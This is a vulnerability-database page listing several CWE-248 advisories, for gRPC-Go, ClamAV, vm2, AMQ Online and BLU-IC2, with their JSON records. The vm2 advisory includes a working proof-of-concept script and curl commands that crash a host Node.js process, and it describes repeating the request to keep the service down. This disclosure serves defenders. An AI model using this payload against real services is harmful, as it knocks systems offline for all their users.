      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "alos-http has unauthenticated remote DoS: malformed path starting with \"?\" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server"
}

GHSA-HRXH-6V49-42GF

Vulnerability from github – Published: 2026-07-21 22:03 – Updated: 2026-07-21 22:03

Summary

gRPC-Go: xDS RBAC and HTTP/2 Vulnerabilities

Details

Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in:

Authorization Bypass (Fail-Open) when translating xDS RBAC policies containing Metadata or RequestedServerName fields.
Denial of Service (High CPU Consumption) due to an HTTP/2 Rapid Reset mitigation bypass during client-initiated stream resets.
Denial of Service (Server Panic) when parsing crafted xDS RBAC policies containing NOT rules around unsupported fields.

Impact

What kind of vulnerability is it? Who is impacted?

xDS RBAC Authorization Bypass via `Metadata` & `RequestedServerName` matchers

Affected Component: xDS RBAC
Impact: When building policy matchers for gRPC RBAC from xDS configurations, unsupported permission and principal rules (specifically Metadata and RequestedServerName) were silently ignored and treated as no-ops.
If an authorization policy relied purely on these matchers for access control, treating those rules as no-ops effectively removed the restrictions.
If these unsupported rules were nested inside logical NOT rules (Permission_NotRule / Principal_NotId) or multi-condition OR/AND rules, silently dropping them changed the boolean logic flow of the authorization engine.

As a result, policy evaluation decisions could fail open, allowing unauthorized clients to access protected gRPC services or resources.

HTTP/2 Rapid Reset Mitigation Bypass / Denial of Service via Stream Aborts

Affected Component: HTTP/2 transport
Impact: Earlier mitigations in grpc-go for HTTP/2 Rapid Reset only applied threshold checks to items that directly resulted in control frames being written back to the wire, such as SETTINGS ACKs or server-initiated RST_STREAMs.

When a client initiated a rapid flood of stream creation (HEADERS) immediately followed by stream termination RST_STREAM, items queued up in the control buffer without counting against the transport response frame threshold. An attacker can repeatedly trigger this flood sequence to bypass reader blocking, resulting in high CPU usage, and Denial of Service (DoS).

Denial of Service (Panic) in xDS RBAC Engine via Unsupported Fields inside NOT Rules

Affected Component: xDS RBAC
Impact: The xDS RBAC policy translators recursively generate matchers for nested rules. When a NOT rule wrapped an unsupported or unhandled field (such as SourcedMetadata), the recursive step returned an empty matcher. This could result in a runtime panic when the RBAC engine attempts to authorize an incoming request.

An attacker or misconfigured/malicious xDS management server delivering an LDS/RDS update containing a NOT rule around an unhandled field causes the gRPC server process to crash immediately (CWE-248 / Denial of Service).

Patches

Has the problem been patched? What versions should users upgrade to?

All three issues have been fixed in master and will be released in 1.82.1 shortly.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

If upgrading grpc-go immediately is not possible, apply the following workarounds based on your deployment architecture:

For xDS RBAC Vulnerabilities & Panics: Ensure that upstream xDS management servers do not push RBAC policies containing Metadata, RequestedServerName, or NOT rules wrapping unsupported fields (such as SourcedMetadata) to grpc-go servers.
For HTTP/2 Rapid Reset DOS: Configure upstream reverse proxies or load balancers (such as Envoy) with strict HTTP/2 max_concurrent_streams limits and active rate limiting on RST_STREAM frequency per connection.

Severity

Vulnerability	Qualitative Severity	Approximate CVSS v3.1 Score	Primary Impact
xDS RBAC Authorization Bypass	High	`8.2`	Unauthorized Access / Fail-Open
HTTP/2 Rapid Reset DOS Bypass	High	`7.5`	High CPU Consumption / Denial of Service
xDS RBAC Engine Server Panic	Medium	`5.9`	Process Crash / Denial of Service

Severity

8.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "google.golang.org/grpc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.82.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-770",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T22:03:55Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in:\n\n- Authorization Bypass (Fail-Open) when translating xDS RBAC policies containing `Metadata` or `RequestedServerName` fields.\n- Denial of Service (High CPU Consumption) due to an HTTP/2 Rapid Reset mitigation bypass during client-initiated stream resets.\n- Denial of Service (Server Panic) when parsing crafted xDS RBAC policies containing `NOT` rules around unsupported fields.\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\n#### xDS RBAC Authorization Bypass via `Metadata` \u0026 `RequestedServerName` matchers\n\n- Affected Component: xDS RBAC \n- Impact: When building policy matchers for gRPC RBAC from xDS configurations, unsupported `permission` and `principal` rules (specifically `Metadata` and `RequestedServerName`) were silently ignored and treated as no-ops.\n  - If an authorization policy relied purely on these matchers for access control, treating those rules as no-ops effectively removed the restrictions.\n- If these unsupported rules were nested inside logical `NOT` rules (`Permission_NotRule` / `Principal_NotId`) or multi-condition `OR/AND` rules, silently dropping them changed the boolean logic flow of the authorization engine.\n\nAs a result, policy evaluation decisions could fail open, allowing unauthorized clients to access protected gRPC services or resources.\n\n#### HTTP/2 Rapid Reset Mitigation Bypass / Denial of Service via Stream Aborts\n\n- Affected Component: HTTP/2 transport\n- Impact: Earlier mitigations in grpc-go for HTTP/2 Rapid Reset only applied threshold checks to items that directly resulted in control frames being written back to the wire, such as `SETTINGS` ACKs or server-initiated `RST_STREAM`s.\n\nWhen a client initiated a rapid flood of stream creation (`HEADERS`) immediately followed by stream termination `RST_STREAM`, items queued up in the control buffer without counting against the transport response frame threshold. An attacker can repeatedly trigger this flood sequence to bypass reader blocking, resulting in high CPU usage, and Denial of Service (DoS).\n\n#### Denial of Service (Panic) in xDS RBAC Engine via Unsupported Fields inside NOT Rules\n\n- Affected Component: xDS RBAC \n- Impact: The xDS RBAC policy translators recursively generate matchers for nested rules. When a `NOT` rule wrapped an unsupported or unhandled field (such as `SourcedMetadata`), the recursive step returned an empty matcher. This could result in a runtime panic when the RBAC engine attempts to authorize an incoming request.\n\nAn attacker or misconfigured/malicious xDS management server delivering an LDS/RDS update containing a `NOT` rule around an unhandled field causes the gRPC server process to crash immediately (CWE-248 / Denial of Service).\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nAll three issues have been fixed in `master` and will be released in 1.82.1 shortly.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nIf upgrading grpc-go immediately is not possible, apply the following workarounds based on your deployment architecture:\n\n* For xDS RBAC Vulnerabilities \u0026 Panics: Ensure that upstream xDS management servers do not push RBAC policies containing `Metadata`, `RequestedServerName`, or `NOT` rules wrapping unsupported fields (such as `SourcedMetadata`) to grpc-go servers.\n* For HTTP/2 Rapid Reset DOS: Configure upstream reverse proxies or load balancers (such as Envoy) with strict HTTP/2 `max_concurrent_streams` limits and active rate limiting on `RST_STREAM` frequency per connection.\n\n### Severity\n\n  | Vulnerability | Qualitative Severity | Approximate CVSS v3.1 Score | Primary Impact |\n  | :--- | :--- | :--- | :--- |\n  | **xDS RBAC Authorization Bypass** | **High** | `8.2` | Unauthorized Access / Fail-Open |\n  | **HTTP/2 Rapid Reset DOS Bypass** | **High** | `7.5` | High CPU Consumption / Denial of Service |\n  | **xDS RBAC Engine Server Panic** | **Medium** | `5.9` | Process Crash / Denial of Service |",
  "id": "GHSA-hrxh-6v49-42gf",
  "modified": "2026-07-21T22:03:56Z",
  "published": "2026-07-21T22:03:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/grpc/grpc-go/security/advisories/GHSA-hrxh-6v49-42gf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grpc/grpc-go/pull/9236"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grpc/grpc-go/commit/4ea465d4ab98013f72a142fe0fc89c19770b2935"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/grpc/grpc-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grpc/grpc-go/releases/tag/v1.82.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "gRPC-Go: xDS RBAC and HTTP/2 Vulnerabilities"
}

GHSA-HVPM-HV6G-6M5C

Vulnerability from github – Published: 2026-03-04 18:31 – Updated: 2026-03-04 18:31

Details

A vulnerability in the HTML Cascading Style Sheets (CSS) module of ClamAV could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device.

This vulnerability is due to improper error handling when splitting UTF-8 strings. An attacker could exploit this vulnerability by submitting a crafted HTML file to be scanned by ClamAV on an affected device. A successful exploit could allow the attacker to terminate the scanning process.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-20031"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-04T18:16:16Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the HTML Cascading Style Sheets (CSS) module of ClamAV could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device.\n\nThis vulnerability is due to improper error handling when splitting UTF-8 strings. An attacker could exploit this vulnerability by submitting a crafted HTML file to be scanned by ClamAV on an affected device. A successful exploit could allow the attacker to terminate the scanning process.",
  "id": "GHSA-hvpm-hv6g-6m5c",
  "modified": "2026-03-04T18:31:54Z",
  "published": "2026-03-04T18:31:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20031"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-clamav-css-Fn4QSZ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HW58-P9XV-2MJH

Vulnerability from github – Published: 2026-05-07 04:10 – Updated: 2026-05-14 20:36

Summary

vm2 has a Sandbox Escape via Promise Constructor Unhandled Rejection (Process Crash DoS)

Details

Summary

A sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the onRejected callback in .then() and .catch() overrides and did not address the executor-to-unhandledRejection path.

Details

When sandboxed code creates a Promise whose executor sets Error.name to a Symbol() and then accesses .stack, V8's internal FormatStackTrace (C++) attempts Symbol.toString(), which throws a host-realm TypeError. Because this error originates inside the Promise executor and no .catch() handler is attached, it becomes an unhandled rejection that propagates to the host process.

lib/setup-sandbox.js:38 — localPromise wraps the native Promise constructor but does not wrap the executor in try-catch.
lib/setup-sandbox.js:165-230 — resetPromiseSpecies and the .then()/.catch() overrides sanitize the onRejected callback chains, but do not intercept unhandled rejections originating from the executor itself.

The CVE-2026-22709 patch (v3.10.2) sanitized .then() and .catch() callback chains but left the executor-to-unhandledRejection path completely open.

Root Cause: Promise executor errors are not caught/sanitized before they can propagate as unhandled rejections to the host process, causing an immediate process crash.

allowAsync: false does not help: This setting only blocks async/await syntax and overrides .then()/.catch() to throw. The Promise constructor itself is still callable. Worse, because .catch() is blocked, any rejection from the executor is guaranteed to be unhandled — making allowAsync: false paradoxically more dangerous than true for this vulnerability.

PoC

Library-level PoC (Node.js script — primary):

const { VM } = require("vm2");

// Works with ANY allowAsync setting — both true and false
const vm = new VM({ timeout: 5000, allowAsync: false });

try {
  const result = vm.run(`
    new Promise(function(r, j) {
      var e = new Error();
      e.name = Symbol();
      e.stack;
    });
  `);
  console.log("Result:", result);   // Reaches here (returns Promise object)
} catch (err) {
  console.log("Caught:", err);       // Never executed
}

console.log("After try-catch");      // Also prints normally

// But on the next microtask tick:
// [UnhandledPromiseRejection: TypeError: Cannot convert a Symbol value to a string]
// Exit code: 1
//
// try-catch cannot help — vm.run() returns synchronously,
// the rejection fires asynchronously outside any catch scope.
//
// NOTE: allowAsync: false only blocks async/await syntax and
// .then()/.catch() method calls. The Promise constructor itself
// still executes, and the unhandled rejection still propagates.
// In fact, allowAsync: false makes it WORSE — .catch() is blocked,
// so the rejection is guaranteed to be unhandled.

HTTP demonstration (web service impact):

# 1. Confirm server is running
curl -s http://localhost:3000/api/execute \
  -X POST -H "Content-Type: application/json" \
  -d '{"code":"\"alive\""}'
# => {"output":[],"errors":[],"result":"\"alive\"","executionTime":1}

# 2. Send payload — server process will crash
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"new Promise(function(r,j){var e=new Error();e.name=Symbol();e.stack})"}'

# 3. Server is dead (connection refused until restart)
curl -s http://localhost:3000/  # => connection refused

Impact

DoS: A single request crashes the entire host Node.js process. All concurrent users lose service immediately. In Node.js 15+, unhandled rejections terminate the process by default — no special configuration is required for the crash to occur.
Persistent DoS despite restart policies: Even when container orchestration (Docker restart policy, Kubernetes liveness probes, PM2, etc.) automatically restarts the crashed process, an attacker can send repeated requests to crash the process again before it fully recovers. In our testing, a single curl request caused the Docker container to restart (confirmed via StartedAt timestamp change), and sending the next request immediately after restart triggered another crash. This creates a continuous denial-of-service loop where the service never becomes available to legitimate users — each restart is met with another crash before any real request can be served.
Amplification: A single HTTP request (~150 bytes) terminates the entire host process serving all users. The cost to the attacker is negligible compared to the impact.
Scope: All applications using vm2, regardless of allowAsync setting. allowAsync: false only blocks async/await syntax and .then()/.catch() method calls — the Promise constructor itself still executes, and the unhandled rejection still propagates. In fact, allowAsync: false makes the vulnerability worse because .catch() is blocked, guaranteeing the rejection is always unhandled.

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44001"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T04:10:29Z",
    "nvd_published_at": "2026-05-13T18:16:16Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the `onRejected` callback in `.then()` and `.catch()` overrides and did not address the executor-to-unhandledRejection path.\n\n### Details\nWhen sandboxed code creates a `Promise` whose executor sets `Error.name` to a `Symbol()` and then accesses `.stack`, V8\u0027s internal `FormatStackTrace` (C++) attempts `Symbol.toString()`, which throws a **host-realm TypeError**. Because this error originates inside the Promise executor and no `.catch()` handler is attached, it becomes an **unhandled rejection** that propagates to the host process.\n\n- `lib/setup-sandbox.js:38` \u2014 `localPromise` wraps the native `Promise` constructor but does not wrap the executor in try-catch.\n- `lib/setup-sandbox.js:165-230` \u2014 `resetPromiseSpecies` and the `.then()`/`.catch()` overrides sanitize the `onRejected` callback chains, but do not intercept unhandled rejections originating from the executor itself.\n\nThe CVE-2026-22709 patch (v3.10.2) sanitized `.then()` and `.catch()` callback chains but left the executor-to-unhandledRejection path completely open.\n\n**Root Cause**: Promise executor errors are not caught/sanitized before they can propagate as unhandled rejections to the host process, causing an immediate process crash.\n\n**`allowAsync: false` does not help**: This setting only blocks `async`/`await` syntax and overrides `.then()`/`.catch()` to throw. The `Promise` constructor itself is still callable. Worse, because `.catch()` is blocked, any rejection from the executor is *guaranteed* to be unhandled \u2014 making `allowAsync: false` paradoxically more dangerous than `true` for this vulnerability.\n\n### PoC\n\n**Library-level PoC (Node.js script \u2014 primary):**\n```javascript\nconst { VM } = require(\"vm2\");\n\n// Works with ANY allowAsync setting \u2014 both true and false\nconst vm = new VM({ timeout: 5000, allowAsync: false });\n\ntry {\n  const result = vm.run(`\n    new Promise(function(r, j) {\n      var e = new Error();\n      e.name = Symbol();\n      e.stack;\n    });\n  `);\n  console.log(\"Result:\", result);   // Reaches here (returns Promise object)\n} catch (err) {\n  console.log(\"Caught:\", err);       // Never executed\n}\n\nconsole.log(\"After try-catch\");      // Also prints normally\n\n// But on the next microtask tick:\n// [UnhandledPromiseRejection: TypeError: Cannot convert a Symbol value to a string]\n// Exit code: 1\n//\n// try-catch cannot help \u2014 vm.run() returns synchronously,\n// the rejection fires asynchronously outside any catch scope.\n//\n// NOTE: allowAsync: false only blocks async/await syntax and\n// .then()/.catch() method calls. The Promise constructor itself\n// still executes, and the unhandled rejection still propagates.\n// In fact, allowAsync: false makes it WORSE \u2014 .catch() is blocked,\n// so the rejection is guaranteed to be unhandled.\n```\n\n**HTTP demonstration (web service impact):**\n```bash\n# 1. Confirm server is running\ncurl -s http://localhost:3000/api/execute \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"code\":\"\\\"alive\\\"\"}\u0027\n# =\u003e {\"output\":[],\"errors\":[],\"result\":\"\\\"alive\\\"\",\"executionTime\":1}\n\n# 2. Send payload \u2014 server process will crash\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"code\":\"new Promise(function(r,j){var e=new Error();e.name=Symbol();e.stack})\"}\u0027\n\n# 3. Server is dead (connection refused until restart)\ncurl -s http://localhost:3000/  # =\u003e connection refused\n```\n\n### Impact\n- **DoS**: A single request crashes the entire host Node.js process. All concurrent users lose service immediately. In Node.js 15+, unhandled rejections terminate the process by default \u2014 no special configuration is required for the crash to occur.\n- **Persistent DoS despite restart policies**: Even when container orchestration (Docker restart policy, Kubernetes liveness probes, PM2, etc.) automatically restarts the crashed process, an attacker can send repeated requests to crash the process again before it fully recovers. In our testing, a single `curl` request caused the Docker container to restart (confirmed via `StartedAt` timestamp change), and sending the next request immediately after restart triggered another crash. This creates a **continuous denial-of-service loop** where the service never becomes available to legitimate users \u2014 each restart is met with another crash before any real request can be served.\n- **Amplification**: A single HTTP request (~150 bytes) terminates the entire host process serving all users. The cost to the attacker is negligible compared to the impact.\n- **Scope**: **All applications using vm2, regardless of `allowAsync` setting.** `allowAsync: false` only blocks `async`/`await` syntax and `.then()`/`.catch()` method calls \u2014 the `Promise` constructor itself still executes, and the unhandled rejection still propagates. In fact, `allowAsync: false` makes the vulnerability *worse* because `.catch()` is blocked, guaranteeing the rejection is always unhandled.",
  "id": "GHSA-hw58-p9xv-2mjh",
  "modified": "2026-05-14T20:36:40Z",
  "published": "2026-05-07T04:10:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-hw58-p9xv-2mjh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44001"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-99p7-6v5w-7xg8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 has a Sandbox Escape via Promise Constructor Unhandled Rejection (Process Crash DoS)"
}

GHSA-HXJ4-CVX4-5VG6

Vulnerability from github – Published: 2022-05-24 17:28 – Updated: 2024-04-04 03:03

Details

It was found in AMQ Online before 1.5.2 that injecting an invalid field to a user's AddressSpace configuration of the user namespace puts AMQ Online in an inconsistent state, where the AMQ Online components do not operate properly, such as the failure of provisioning and the failure of creating addresses, though this does not impact upon already existing messaging clients or brokers.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2020-14348"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-754"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-09-16T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "It was found in AMQ Online before 1.5.2 that injecting an invalid field to a user\u0027s AddressSpace configuration of the user namespace puts AMQ Online in an inconsistent state, where the AMQ Online components do not operate properly, such as the failure of provisioning and the failure of creating addresses, though this does not impact upon already existing messaging clients or brokers.",
  "id": "GHSA-hxj4-cvx4-5vg6",
  "modified": "2024-04-04T03:03:13Z",
  "published": "2022-05-24T17:28:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-14348"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1861814"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J24Q-5P96-5G77

Vulnerability from github – Published: 2025-10-28 21:30 – Updated: 2025-11-07 15:31

Details

Protocol manipulation might lead to denial of service.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5 .

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

10.0 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-12423"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-28T19:15:41Z",
    "severity": "CRITICAL"
  },
  "details": "Protocol manipulation might lead to denial of service.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5 .",
  "id": "GHSA-j24q-5p96-5g77",
  "modified": "2025-11-07T15:31:26Z",
  "published": "2025-10-28T21:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12423"
    },
    {
      "type": "WEB",
      "url": "https://azure-access.com/security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

CWE-248

Uncaught Exception

Impact

Patches

Workarounds

References

For more information

Recommendation

Am I affected

Summary

Details

Patches

Workarounds

Impact

Credit

Summary

Details

PoC

Impact

Impact

xDS RBAC Authorization Bypass via Metadata & RequestedServerName matchers

HTTP/2 Rapid Reset Mitigation Bypass / Denial of Service via Stream Aborts

Denial of Service (Panic) in xDS RBAC Engine via Unsupported Fields inside NOT Rules

Patches

Workarounds

Severity

Summary

Details

PoC

Impact

xDS RBAC Authorization Bypass via `Metadata` & `RequestedServerName` matchers